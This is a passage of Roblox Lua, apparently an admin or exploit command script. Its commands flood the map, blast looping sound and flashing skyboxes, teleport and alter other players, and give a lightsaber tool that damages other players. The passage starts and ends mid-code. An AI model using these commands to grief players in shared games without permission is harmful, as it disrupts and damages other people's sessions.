Instance.new("Explosion", char).Position = char.Torso.Position

end
end
end)

addcmd('flood', 'makes a flood e.e', {},


function(args)
game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100),
Vector3int16.new(100,100,100)), 17, "Solid", "X")
end)

addcmd('spookyify', 'makes it sp00ky', {},


function(args)
local music = Instance.new("Sound", workspace)
music.SoundId = "http://www.roblox.com/asset/?id=257569267"
music.Volume = 20
music.Looped = true
music:Play()

tex1 = "http://www.roblox.com/asset/?id=185495987"
tex2 = "http://www.roblox.com/asset/?id=260858020"
tex3 = "http://www.roblox.com/asset/?id=149213919"
tex4 = "http://www.roblox.com/asset/?id=171905673"

local w = game.Workspace:GetChildren()

for i= 1,#w do
if w[i]:isA("BasePart") then
pe = Instance.new("ParticleEmitter", w[i])
pe.Texture = tex4
pe.VelocitySpread = 5
end
end

local playerLeaderstats = {}
for i, v in pairs(game.Players:GetChildren()) do
table.insert(playerLeaderstats, v)
end
for i, v in pairs(playerLeaderstats) do
pe = Instance.new("ParticleEmitter",v.Character.Torso)
pe.Texture = "http://www.roblox.com/asset/?id=171905673"
pe.VelocitySpread = 50
end

texture = "http://www.roblox.com/asset/?id=185495987"

local A = game.Workspace:GetChildren()
local B = game.Workspace:GetChildren()
local C = game.Workspace:GetChildren()
local D = game.Workspace:GetChildren()
local E = game.Workspace:GetChildren()
local F = game.Workspace:GetChildren()
for i,v in pairs(A) do
if v:IsA("Part") then
local d = Instance.new("Decal",v)
v.Decal.Face = "Top"
v.Decal.Texture = texture
v.Anchored = true
end
end

for i,v in pairs(B) do


if v:IsA("Part") then
local s = Instance.new("Decal",v)
s.Face = "Front"
s.Texture = texture
end
end

for i,v in pairs(C) do


if v:IsA("Part") then
local h = Instance.new("Decal",v)
h.Face = "Back"
h.Texture = texture
end
end

for i,v in pairs(D) do


if v:IsA("Part") then
local j = Instance.new("Decal",v)
j.Face = "Left"
j.Texture = texture
end
end

for i,v in pairs(E) do


if v:IsA("Part") then
local k = Instance.new("Decal",v)
k.Face = "Right"
k.Texture = texture
end
end

for i,v in pairs(F) do


if v:IsA("Part") then
local l = Instance.new("Decal",v)
l.Face = "Bottom"
l.Texture = texture
end

imageOne = "http://www.roblox.com/asset/?id=169585459"
imageTwo = "http://www.roblox.com/asset/?id=169585475"
imageThree = "http://www.roblox.com/asset/?id=169585485"
imageFour = "http://www.roblox.com/asset/?id=169585502"
imageFive = "http://www.roblox.com/asset/?id=169585515"
imageSix = "http://www.roblox.com/asset/?id=169585502"
imageSeven = "http://www.roblox.com/asset/?id=169585485"
imageEight = "http://www.roblox.com/asset/?id=169585475"
Spooky = Instance.new("Sound", workspace)
Spooky.Name = "Spooky"
Spooky.SoundId = "rbxassetid://174270407"
Spooky.Volume = 15
Spooky.Looped = true
Spooky:Play()

Sky = Instance.new("Sky", game.Lighting)


Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne

while true do
Sky.SkyboxBk = imageOne
Sky.SkyboxDn = imageOne
Sky.SkyboxFt = imageOne
Sky.SkyboxLf = imageOne
Sky.SkyboxRt = imageOne
Sky.SkyboxUp = imageOne
wait(0.15)
Sky.SkyboxBk = imageTwo
Sky.SkyboxDn = imageTwo
Sky.SkyboxFt = imageTwo
Sky.SkyboxLf = imageTwo
Sky.SkyboxRt = imageTwo
Sky.SkyboxUp = imageTwo
wait(0.15)
Sky.SkyboxBk = imageThree
Sky.SkyboxDn = imageThree
Sky.SkyboxFt = imageThree
Sky.SkyboxLf = imageThree
Sky.SkyboxRt = imageThree
Sky.SkyboxUp = imageThree
wait(0.15)
Sky.SkyboxBk = imageFour
Sky.SkyboxDn = imageFour
Sky.SkyboxFt = imageFour
Sky.SkyboxLf = imageFour
Sky.SkyboxRt = imageFour
Sky.SkyboxUp = imageFour
wait(0.15)
Sky.SkyboxBk = imageFive
Sky.SkyboxDn = imageFive
Sky.SkyboxFt = imageFive
Sky.SkyboxLf = imageFive
Sky.SkyboxRt = imageFive
Sky.SkyboxUp = imageFive
wait(0.15)
Sky.SkyboxBk = imageSix
Sky.SkyboxDn = imageSix
Sky.SkyboxFt = imageSix
Sky.SkyboxLf = imageSix
Sky.SkyboxRt = imageSix
Sky.SkyboxUp = imageSix
wait(0.15)
Sky.SkyboxBk = imageSeven
Sky.SkyboxDn = imageSeven
Sky.SkyboxFt = imageSeven
Sky.SkyboxLf = imageSeven
Sky.SkyboxRt = imageSeven
Sky.SkyboxUp = imageSeven
wait(0.15)
Sky.SkyboxBk = imageEight
Sky.SkyboxDn = imageEight
Sky.SkyboxFt = imageEight
Sky.SkyboxLf = imageEight
Sky.SkyboxRt = imageEight
Sky.SkyboxUp = imageEight
wait(0.15)

end
end
end)

addcmd('invisible', 'make a player invisible',{},


function(args)
local players = getPlayer(args[1])
for i, v in pairs(players) do
for k, v2 in pairs(_char(v):GetChildren()) do
if v2.className == "Part" then
if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 1 end
elseif v2.className == "Hat" then
if v2:FindFirstChild("Handle") then
v2.Handle.Transparency = 1
Notify(gPlayers[v].Name .. ' is now invisible')
end
end
if v2:FindFirstChild("face") then
v2.face:Destroy()
end
end
end
end)

addcmd('visible', 'make a player visible',{},


function(args)
local players = getPlayer(args[1])
for i, v in pairs(players) do
for k, v2 in pairs(_char(v):GetChildren()) do
if v2.className == "Part" then
if v2.Name ~= "HumanoidRootPart" then v2.Transparency = 0
end
elseif v2.className == "Hat" then
if v2:FindFirstChild("Handle") then v2.Handle.Transparency = 0 end
Notify(gPlayers[v].Name .. ' is now visible')
end
if v2:FindFirstChild("face") then
v2.face:Destroy()
end
end
end
end)

addcmd('goto', 'go to a player',{},


function(args)
local players = getPlayer(args[1])
if players ~= nil and _char(players[1]):FindFirstChild("HumanoidRootPart")
then
_char(admin).HumanoidRootPart.CFrame =
_char(players[1]).HumanoidRootPart.CFrame
end
end)

addcmd('bring', 'bring a player to you',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
if _char(v):FindFirstChild("HumanoidRootPart") then
_char(v).HumanoidRootPart.CFrame =
_char(admin).HumanoidRootPart.CFrame
end
end
end)

addcmd('tp', 'teleport player 1 to player 2',{},


function(args)
local players1=getPlayer(args[1])
local players2=getPlayer(args[2])
if not players2[1] then return end
for i,v in pairs(players1) do
if _char(v):FindFirstChild("HumanoidRootPart") and
_char(players2[1]):FindFirstChild("HumanoidRootPart") then
_char(v).HumanoidRootPart.CFrame =
_char(players2[1]).HumanoidRootPart.CFrame
wait(0.1)
_char(v).HumanoidRootPart.CFrame =
_char(players2[1]).HumanoidRootPart.CFrame
end
end
end)

addcmd('char', 'change a players appearance',{},


function(args)
local players = getPlayer(args[1])
if not args[1]or not args[2]then return end
local id=args[2]
if players ~= nil then
for i,v in pairs(players) do
gPlayers[v].CharacterAppearance =
"http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..id
if _char(v):FindFirstChild("Head") then
_char(v).Head:Destroy()
end
end
end
end)

addcmd('speed', 'change a players walkspeed',{},


function(args)
local players = getPlayer(args[1])
if not args[1]or not args[2]then return end
local num=args[2]
for i,v in pairs(players) do
if _char(v):FindFirstChild("Humanoid") then
_char(v).Humanoid.WalkSpeed=tonumber(num)
Notify(gPlayers[v].Name .. ' now has speed set to ' .. args[2])
end
end
end)

addcmd('lightsaber', 'gives lightsaber',{},


function(args)
Players = game:GetService("Players")
Player = Players.LocalPlayer
Bp = Player.Backpack
Pg = Player.PlayerGui
Char = Player.Character
Head = Char.Head
Torso = Char.Torso
Hum = Char.Humanoid
Humanoid = Hum
Neck = Torso["Neck"]
LS = Torso["Left Shoulder"]
RS = Torso["Right Shoulder"]
Ra = Char["Right Arm"]
La = Char["Left Arm"]
mouse = nil
Mouse = nil

bets =
{"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u
","v","w","x","y","z"," "}
inew = Instance.new
it = Instance.new
bc = BrickColor.new
vn = Vector3.new
cn = CFrame.new
ca = CFrame.Angles
mpi = math.pi
v3 = vn
mr = math.rad
br = BrickColor.new
cf = CFrame.new
ca = CFrame.Angles
Colors = {"Really Red"}
BladeColor = tostring(BrickColor.Random()) --Colors[math.random(1,#Colors)]
TrailColor = BladeColor
HopperName = "light saber"
Rage = 100000
MaxRage = Rage
SwordType = "Single"
LeftDebounce = {}
RightDebounce = {}
OtherDebounce = {}
Anim = {key = {}}
for i=1,#bets do table.insert(Anim.key,bets) end
Anim.Move = "None"
Anim.Click = false
Anim.Button = false
Anim.CanBerserk = 0
Anim.ComboBreak = false
Anim.Equipped = false
keydown = false
Speed = 2
RageIncome = 500
Left = false
Right = false
Anim.Act = false
RealSpeed = 35
DebounceSpeed = 0.85/Speed
RageCost = {
["Berserk"] = 200;
["RotorBlade"] = 30;
["Blocking"] = 0.1;
["Boomerang"] = 30;
["RageRegening"] = -0.7;
["BoulderForce"] = 45;
["ForceWave"] = 65;
["ForceWave"] = 32;
["Teleport"] = 25;
["DualSpin"] = 4;
}
MagnitudeHit = {
["ForceWave"] = 500;
}
Damage = {
["RotorBlade"] = 8;
["BoulderForce"] = 100;
["Boomerang"] = 100;
["ForceWave"] = 100;
["DualSpin"] = 5;
}
Props = {}
Props.MaxTeleDistance = 500
Props.Buff = 1
BlastMesh = Instance.new("FileMesh")
BlastMesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RingMesh = Instance.new("FileMesh")
RingMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
RockMesh = Instance.new("FileMesh")
RockMesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
RockMesh.TextureId = "http://www.roblox.com/asset/?id=1290030"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"
DiamondMesh = Instance.new("FileMesh")
DiamondMesh.MeshId = "http://www.roblox.com/Asset/?id=9756362"

function rayCast(Pos, Dir, Max, Ignore)


return Workspace:FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
end
function MinusRage(raggge)
Rage = Rage - raggge
if Rage < 0 then Rage = 0 end
end

function r(zParent,zName)
if zParent:findFirstChild(zName) ~= nil then
zParent[zName]:Remove()
else
end
end
function rclass(zParent,zClass)
local ch = zParent:GetChildren()
for i=1,#ch do
if (ch.className == zClass) then
ch:Remove()
else
end
end
end

function fWeld(zName,zParent,zPart0,zPart1,zCoco,a,b,c,d,e,f)
local funcw = Instance.new("Weld")
funcw.Name = zName
funcw.Parent = zParent
funcw.Part0 = zPart0
funcw.Part1 = zPart1
if (zCoco == true) then
funcw.C0 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
else
funcw.C1 = CFrame.new(a,b,c) *CFrame.fromEulerAnglesXYZ(d,e,f)
end
return funcw
end
function Dash(ob,se,mes,of)
local off = nil
if of == nil then off = 0 else off = of end
pcall(function()
coroutine.resume(coroutine.create(function()
local dashin = true
local oldpos = (ob.CFrame *CFrame.new(0,off,0)).p
coroutine.resume(coroutine.create(function()
wait(se) dashin = false end))
for i=1,9999 do
if dashin == false then break end
local newpos = (ob.CFrame *CFrame.new(0,off,0)).p --+ Vector3.new(math.random(-
2,2),math.random(-2,2),math.random(-2,2))
local np = Instance.new("Part")
np.BrickColor = BrickColor.new(TrailColor) np.CanCollide = false
np.BottomSurface = 0 np.TopSurface = 0 np.Anchored = true np.Transparency = 0.4
np.formFactor = "Custom" np.Parent = ob local mag = math.abs((newpos -
oldpos).magnitude)
local mp = nil
if mes ~= nil then
np.Size = Vector3.new(2,mag,2) mp = Instance.new("FileMesh",np) mp.MeshId = mes
else
np.Size = Vector3.new(0.4,0.4,mag) mp = Instance.new("BlockMesh",np) end
np.CFrame = CFrame.new(newpos,oldpos)
np.CFrame = np.CFrame + np.CFrame.lookVector* (mag/2)
if mes == BlastMesh.MeshId then np.CFrame = np.CFrame *ca(mr(-90),0,0) else
np.CFrame = np.CFrame *ca(0,0,mr(-45)) end
oldpos = newpos
coroutine.resume(coroutine.create(function()
for i=1,0,-0.1 do
np.Transparency = np.Transparency + 0.03
--if mes ~= nil then
--mp.Scale = Vector3.new(i,mag,i) else
mp.Scale = Vector3.new(i,i,1) -- end
wait()
end
np:Remove()
end))
wait(0.08)
end
end))
end)
end
Sounds = {
Boom = "http://www.roblox.com/asset/?id=16976189";
SniperFire = "http://www.roblox.com/asset/?id=1369158";
ShotgunFire2 = "http://www.roblox.com/asset/?id=1868836";
MinigunFire = "http://www.roblox.com/asset/?id=2692806";
MinigunCharge = "http://www.roblox.com/asset/?id=2692844";
MinigunDischarge = "http://www.roblox.com/asset/?id=1753007";
Flashbang = "http://www.roblox.com/asset/?id=16976189";
Beep = "http://www.roblox.com/asset/?id=15666462";
Smash = "http://www.roblox.com/asset/?id=2801263";
Punch = "http://www.roblox.com/asset/?id=31173820";
Slash = "rbxasset://sounds/swordslash.wav";
Falcon = "http://www.roblox.com/asset/?id=1387390";
Cast = "http://www.roblox.com/asset/?id=2101137";
Spin = "http://www.roblox.com/asset/?id=1369159";
Abscond = "http://www.roblox.com/asset/?id=2767090";
ElectricalCharge = "http://www.roblox.com/asset/?id=2800815";
FireExplosion = "http://www.roblox.com/asset/?id=3264793";
SaberLightUp = "http://www.roblox.com/asset/?id=10209303";
SaberSlash = "http://www.roblox.com/asset/?id=10209280";
SaberHit = "http://www.roblox.com/asset/?id=44463749";
EnergyBlast = "http://www.roblox.com/asset/?id=10209268";
}
function Sound(sid,pit,vol)
local ss = Instance.new("Sound")
ss.Name = "Sound"
ss.Parent = Head
ss.SoundId = sid
ss.Pitch = pit
ss.Volume = vol
ss.PlayOnRemove = true
wait()
ss:Remove()
end

r(Char,"SwordPack")
r(Char,"Suit")
r(Char,"Saber" ..Player.Name)
r(Pg,"Sabers")
Suit = inew("Model")
Suit.Name = "Suit"
Suit.Parent = Char
function p(pa,sh,x,y,z,c,a,tr,re,bc)
local fp = it("Part",pa)
fp.formFactor = "Custom"
fp.Shape = sh
fp.Size = v3(x,y,z)
fp.CanCollide = c
fp.Anchored = a
fp.BrickColor = br(bc)
fp.Transparency = tr
fp.Reflectance = re
fp.BottomSurface = 0
fp.TopSurface = 0
fp.CFrame = Torso.CFrame
fp:BreakJoints()
return fp
end
function weld(pa,p0,p1,x,y,z,a,b,c)
local fw = it("Weld",pa)
fw.Part0 = p0
fw.Part1 = p1
fw.C0 = cf(x,y,z) *ca(a,b,c)
return fw
end
function ft(tab,nam)
if tab == nil or nam == nil then print("U: Fail table") return false end
for i=1,#tab do
if tab == nam then
return i
else
end
end
return nil
end
function spm(ty,pa,ssx,ssy,ssz)
local sp = it("SpecialMesh",pa)
sp.MeshType = ty
sp.Scale = Vector3.new(ssx,ssy,ssz)
return sp
end
Torso.Transparency = 1
Torm = Instance.new("Model",Char)
Torm.Name = "Saber" ..Player.Name
Tor = p(Torm,"Block",1.98,1.98,1,false,false,0,0,"basda") Tor.Name = "Torso"
Torw = weld(Tor,Torso,Tor,0,0,0,0,0,0)
pcall(function() Char.Shirt:Clone().Parent = Torm end)
pcall(function() Char.Pants:Clone().Parent = Torm end)
function ShockWave(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
e1.CFrame = e1.CFrame *CFrame.Angles(math.rad(-90),0,0)
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "FileMesh"
e1m.Scale = Vector3.new(3,3,3)
e1m.Parent = e1
e1m.MeshId = RingMesh.MeshId
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(90),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal/1.5,pluscal/4,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
end))
end

function Explode(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "Sphere"
e1m.Parent = e1
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = RingMesh.MeshId
local r2 = Instance.new("Part")
r2.Anchored = true
r2.formFactor = "Custom"
r2.CanCollide = false
r2.Size = Vector3.new(1,1,1)
r2.BrickColor = BrickColor.new(col)
r2.Transparency = 0.6
r2.TopSurface = 0
r2.BottomSurface = 0
r2.Parent = Torm
r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0)
local r2m = Instance.new("SpecialMesh")
r2m.MeshType = "FileMesh"
r2m.Parent = r2
r2m.Scale = Vector3.new(3,3,3)
r2m.MeshId = RingMesh.MeshId
local bla = Instance.new("Part")
bla.Anchored = true
bla.formFactor = "Custom"
bla.CanCollide = false
bla.Size = Vector3.new(1,1,1)
bla.BrickColor = BrickColor.new(col)
bla.Transparency = 0.6
bla.TopSurface = 0
bla.BottomSurface = 0
bla.Parent = Torm
bla.CFrame = CFrame.new(e1.Position.x,e1.Position.y,e1.Position.z)
local blam = Instance.new("SpecialMesh")
blam.MeshType = "FileMesh"
blam.Parent = bla
blam.Scale = Vector3.new(5,5,5)
blam.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal,pluscal/2,pluscal)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale + Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
bla.Transparency = bla.Transparency + 0.1
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
r2.Transparency = r2.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
r2:Remove()
end))
end
H1 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H1,1,1.3,1)
H1w = weld(Tor,Torso,H1,0.4,-0.7,0.5,0,0,mr(45))
H2 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H2,1,1.3,1)
H2w = weld(Tor,H1,H2,0,-0.8,0,mr(180),0,0)
Des1 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des1)
Des1w = weld(Tor,H1,Des1,0,0.5,0,0,0,0)
Des2 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des2)
Des2w = weld(Tor,H2,Des2,0,0.5,0,0,0,0)
Des21 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des21m =
Instance.new("CylinderMesh",Des21) Des21m.Scale = Vector3.new(1,0.6,1)
Des21w = weld(Tor,H1,Des21,0,-0.55,0,0,0,0)
Des22 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des22m =
Instance.new("CylinderMesh",Des22) Des22m.Scale = Vector3.new(1,0.6,1)
Des22w = weld(Tor,H2,Des22,0,-0.55,0,0,0,0)

Blad1 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M1 =
spm("Head",Blad1,1,1,1)
Blad1w = weld(Tor,H1,Blad1,0,1.9,0,0,0,0)
Blad2 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M2 =
spm("Head",Blad2,1,1,1)
Blad2w = weld(Tor,H2,Blad2,0,1.9,0,0,0,0)
Glow1 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM1 =
spm("Head",Glow1,1,1,1)
Glow1w = weld(Tor,H1,Glow1,0,1.9,0,0,0,0)
Glow2 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM2 =
spm("Head",Glow2,1,1,1)
Glow2w = weld(Tor,H2,Glow2,0,1.9,0,0,0,0)

r(Bp,HopperName)
bin = inew("HopperBin")
bin.Name = HopperName
bin.Parent = Bp
Gui = Instance.new("ScreenGui",Pg)
Gui.Name = "Sabers"
Frame = Instance.new("Frame",Gui)
Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
ImageGui = Instance.new("ImageLabel",Frame)
ImageGui.Image = "http://www.roblox.com/asset/?id=51262246"
ImageGui.BackgroundTransparency = 1
ImageGui.Size = UDim2.new(0.3,0,0.075,0)
HealthBar = Instance.new("ImageLabel",Frame)
HealthBar.Image = "http://www.roblox.com/asset/?id=48965808"
HealthBar.BorderSizePixel = 0
HealthBar.Size = UDim2.new(0.23,0,0.017,0)
HealthBar.Position = UDim2.new(0.06,0,0.017,0)
RageBar = Instance.new("ImageLabel",Frame)
RageBar.Image = "http://www.roblox.com/asset/?id=48965808"
RageBar.BorderSizePixel = 0
RageBar.Size = UDim2.new(0.165,0,0.012,0)
RageBar.Position = UDim2.new(0.06,0,0.04,0)
RageBar.BackgroundColor3 = BrickColor.new("Alder").Color
SelectBar = Instance.new("ImageButton",Frame)
SelectBar.Image = "http://www.roblox.com/asset/?id=48965808"
SelectBar.BorderSizePixel = 0
SelectBar.Size = UDim2.new(0.1,0,0.07,0)
SelectBar.Position = UDim2.new(0.8,0,0.6,0)
SelectBar.BackgroundColor3 = BrickColor.new(BladeColor).Color
SelectrBar = Instance.new("TextLabel",SelectBar)
SelectrBar.BackgroundTransparency = 1
SelectrBar.BorderSizePixel = 0
SelectrBar.Size = UDim2.new(0,0,0,0)
SelectrBar.Position = UDim2.new(0.5,0,0.5,0)
SelectrBar.Font = "ArialBold"
SelectrBar.FontSize = "Size18"
SelectBar.MouseButton1Up:connect(function()
if Anim.Move ~= "None" then return end
if Anim.Act == true then return end
if Anim.Equipped == false then return end
if SwordType == "Single" then
Anim.Move = "Changing"
Anims.ChangeToDual(0,1,0.065*Speed) SwordType = "Dual"
Anim.Move = "None"
else
Anim.Move = "Changing"
Anims.ChangeToSingle(0,1,0.065*Speed) SwordType = "Single"
Anim.Move = "None"
end
end)
coroutine.resume(coroutine.create(function()
while true do
wait(0.05)
local hh = Hum.Health local hmh = Hum.MaxHealth
HealthBar.Size = UDim2.new((hh/hmh)*0.23,0,0.017,0)
if ((hh/hmh)*100) > 75 then
HealthBar.BackgroundColor3 = BrickColor.new("Alder").Color
elseif ((hh/hmh)*100) > 25 and ((hh/hmh)*100) < 76 then
HealthBar.BackgroundColor3 = BrickColor.new("Deep orange").Color
elseif ((hh/hmh)*100) < 26 then
HealthBar.BackgroundColor3 = BrickColor.new("Bright red").Color
end
RageBar.Size = UDim2.new((Rage/MaxRage)*0.165,0,0.012,0)
SelectrBar.Text = SwordType
end
end))
-------
function TellXPos(brick1,posd)
local lb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
lb.CFrame = CFrame.new((brick1.CFrame *cf(-10,0,0)).p)
local rb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
rb.CFrame = CFrame.new((brick1.CFrame *cf(10,0,0)).p)
local posml = math.abs((posd - rb.Position).magnitude)
local posmr = math.abs((posd - lb.Position).magnitude)
if posml > posmr then
return "left"
else
return "right"
end
end
function GetNearPlayer(urpos,maxmag)
if maxmag == nil then return nil end
for i,v in pairs(game.Players:GetChildren()) do
if v.Character ~= Char and v.Character ~= nil and
v.Character:findFirstChild("Torso") ~= nil and
math.abs((v.Character.Torso.Position-urpos).magnitude) < maxmag then
return v.Character.Torso
end
end
return nil
end
function Dmgz(hum,dmg)
dmg = dmg*Props.Buff
hum.Health = hum.Health - dmg
Rage = Rage + ((dmg/1.25)*RageIncome)
if Rage > MaxRage then Rage = MaxRage end
end
coroutine.resume(coroutine.create(function()
while true do
wait()
if Right == true and Anim.Move == "ForceWave" then
for i,v in pairs(workspace:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and
math.abs((v.Torso.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move]
then
local hit = v.Torso
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil and
ft(RightDebounce,hit.Parent.Name) == nil then
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
table.insert(RightDebounce,hit.Parent.Name)
